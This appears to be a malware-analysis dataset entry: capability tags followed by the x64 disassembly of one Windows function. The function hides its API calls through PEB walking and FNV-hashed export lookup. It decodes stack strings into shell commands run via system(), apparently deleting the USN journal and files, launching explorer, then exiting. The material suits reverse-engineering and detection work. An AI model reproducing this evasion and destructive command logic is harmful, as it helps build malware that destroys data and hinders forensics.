Function at 0x1400460e0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Execute command
Get common file path
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x180
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x1400d5058]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor r12d, r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov esi, dword [rcx + rbx + 0x88]
add rsi, rbx
cmp rsi, rbx
je 0x140046a19
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140046a19
mov r14d, dword [rsi + 0x20]
nop dword [rax]
dec r11d
lea rcx, [r14 + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xd86b4e48
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140046a10
nop dword [rax]
nop dword [rax + rax]
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140046190
cmp r10d, 0x7a2fb461
jne 0x140046a10
mov ecx, dword [rsi + 0x1c]
add rcx, rbx
mov eax, dword [rsi + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
xor edx, edx
mov rcx, qword [0x1400d6cc0]
call r8
mov edx, 0x104
lea rcx, [0x1400d7a60]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movzx ecx, byte [0x1400d7a60]
lea rax, [0x1400d6b80]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rax, qword [0x1400d6b80]
mov byte [rax], cl
mov rax, qword [0x1400d6c98]
cmp byte [rax + 0x5d], r12b
je 0x14004680b
mov qword [rsp + 0x118], r12
mov qword [rsp + 0x128], r12
mov qword [rsp + 0x130], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x118], r12b
mov r8d, 6
lea rdx, [0x1400c528c]
lea rcx, [rsp + 0x118]
call fcn.140004f40
nop
movzx ecx, byte [0x1400d7a60]
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae rax, qword [rsp + 0x118]
mov byte [rax + 4], cl
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0xf8]
call fcn.140046ad0
mov rcx, rax
call fcn.140045e70
test al, al
jne 0x1400467a5
mov dword [rsp + 0x30], 0x3a434b
lea rax, [rsp + 0x31]
mov r14, 0xffffffffffffffff
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400462d0
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x118]
call fcn.140004f40
movzx ecx, byte [0x1400d7a60]
lea rax, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae rax, qword [rsp + 0x118]
mov byte [rax], cl
mov dword [rsp + 0x38], 0x203e2075
mov dword [rsp + 0x3c], 0x6c756e
movdqa xmm0, xmmword [0x1400c6130]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x6f6a6574
mov dword [rsp + 0x74], 0x616e7275
mov dword [rsp + 0x78], 0x442f206c
mov word [rsp + 0x7c], reloc.WLDAP32.dll_Ordinal_32
lea r8, [rsp + 0x118]
lea rdx, [rsp + 0x61]
lea rcx, [rsp + 0xb8]
call fcn.140046ce0
mov rdi, rax
lea rax, [rsp + 0x39]
mov rsi, r14
inc rsi
cmp byte [rax + rsi], 0
jne 0x140046371
mov rcx, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x1400463bb
lea rax, [rcx + rsi]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x1400463a1
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8, rsi
lea rdx, [rsp + 0x39]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rsi], 0
jmp 0x1400463d3
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x39]
mov rdx, rsi
mov rcx, rdi
call fcn.140005330
mov rdi, rax
movups xmm6, xmmword [rdi]
movups xmm7, xmmword [rdi + 0x10]
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14004642f
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004642a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004642a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa5dc
movups xmmword [rsp + 0x118], xmm6
movups xmmword [rsp + 0x128], xmm7
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x140046485
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046480
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046480
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa5dc
lea rcx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae rcx, qword [rsp + 0x118]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400467fe
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400467fe
mov r15d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r10 + rbx*4]
mov r8d, dword [rcx + r15]
add r8, r10
mov r11d, 0x1f58407d
movzx r9d, byte [r8]
inc r8
test r9b, r9b
je 0x1400467f6
movsx ecx, r9b
sub r9b, 0x41
mov edx, ecx
or edx, 0x20
cmp r9b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r9d, byte [r8]
lea r8, [r8 + 1]
test r9b, r9b
jne 0x140046513
cmp r11d, 0x69aee020
jne 0x1400467f6
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x23d
call rdx
mov dword [rsp + 0x40], 0x53465c4c
mov dword [rsp + 0x44], 0x203e202a
mov dword [rsp + 0x48], 0x6c756e
mov dword [rsp + 0x50], 0x6c65641d
mov word [rsp + 0x54], reloc.WLDAP32.dll_Ordinal_32
lea r8, [0x1400d6b80]
lea rdx, [rsp + 0x51]
lea rcx, [rsp + 0xd8]
call fcn.140046ce0
mov rbx, rax
lea rax, [rsp + 0x41]
inc r14
cmp byte [rax + r14], 0
jne 0x1400465b0
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov rax, rdx
sub rax, rcx
cmp r14, rax
ja 0x1400465fc
lea rax, [rcx + r14]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x1400465e1
mov rax, qword [rbx]
lea rdi, [rax + rcx]
mov r8, r14
lea rdx, [rsp + 0x41]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rdi], 0
jmp 0x140046614
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x41]
mov rdx, r14
mov rcx, rbx
call fcn.140005330
mov rbx, rax
movups xmm6, xmmword [rbx]
movups xmm7, xmmword [rbx + 0x10]
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x140046670
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004666b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004666b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa5dc
movups xmmword [rsp + 0x118], xmm6
movups xmmword [rsp + 0x128], xmm7
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x1400466c6
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400466c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400466c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400aa5dc
lea rcx, [rsp + 0x118]
cmp qword [rsp + 0x130], 0x10
cmovae rcx, qword [rsp + 0x118]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400467ee
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400467ee
mov r14d, dword [rdi + 0x20]
nop dword [rax + rax]
dec ebx
lea rcx, [r14 + rbx*4]
mov r9d, dword [rcx + r10]
add r9, r10
mov r11d, 0x9050a39b
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400467e6
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140046753
cmp r11d, 0xf28721e
jne 0x1400467e6
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + rbx*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, WSAGetLastError
call rdx
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x14004680b
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046806
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046806
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test ebx, ebx
jne 0x140046730
mov rax, qword [rax]
jmp 0x140046700
test ebx, ebx
jne 0x1400464f0
mov rax, qword [rax]
jmp 0x1400464c0
call fcn.1400aa5dc
mov rax, qword [0x1400d6c98]
cmp byte [rax + 0x5e], 0
je 0x14004687b
movdqa xmm0, xmmword [0x1400c6020]
movdqu xmmword [rsp + 0x80], xmm0
movdqa xmm1, xmmword [0x1400c5ca0]
movdqu xmmword [rsp + 0x90], xmm1
mov dword [rsp + 0xa0], 0x72617473
mov dword [rsp + 0xa4], 0x78652074
mov dword [rsp + 0xa8], 0x726f6c70
mov word [rsp + 0xac], 0x7265
mov byte [rsp + 0xae], 0
lea rcx, [rsp + 0x81]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x1400d6c98]
mov byte [rax + 0x35], 0
mov dword [rsp + 0x58], 0x3031322a
mov word [rsp + 0x5c], Ordinal_50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov esi, dword [rcx + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x14004692a
mov ebx, dword [rsi + 0x18]
test ebx, ebx
je 0x14004692a
mov r14d, dword [rsi + 0x20]
dec ebx
lea rcx, [r11 + rbx*4]
mov r9d, dword [rcx + r14]
add r9, r11
mov r10d, 0x70380b68
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140046926
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400468f2
cmp r10d, 0x42aade7d
je 0x14004692f
test ebx, ebx
jne 0x1400468d3
mov rax, qword [rax]
jmp 0x1400468b0
mov ecx, dword [rsi + 0x24]
add rcx, r11
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r11
mov eax, dword [rcx + rdx*4]
add rax, r11
lea rcx, [rsp + 0x59]
call rax
mov r14d, eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400469da
mov ebx, dword [rdi + 0x18]
test ebx, ebx
je 0x1400469da
mov r15d, dword [rdi + 0x20]
dec ebx
lea rax, [r10 + rbx*4]
mov r9d, dword [rax + r15]
add r9, r10
mov r11d, 0x73381021
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400469d6
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r11d
imul r11d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1400469a2
cmp r11d, 0x4de9c8e4
je 0x1400469df
test ebx, ebx
jne 0x140046983
mov rcx, qword [rcx]
jmp 0x140046960
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, r14d
call rax
mov rax, qword [0x1400d6c98]
cmp byte [rax + 0x5c], 0
jne 0x140046a21
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test r11d, r11d
jne 0x140046160
mov rax, qword [rax]
jmp 0x140046130
call fcn.140045ad0
int3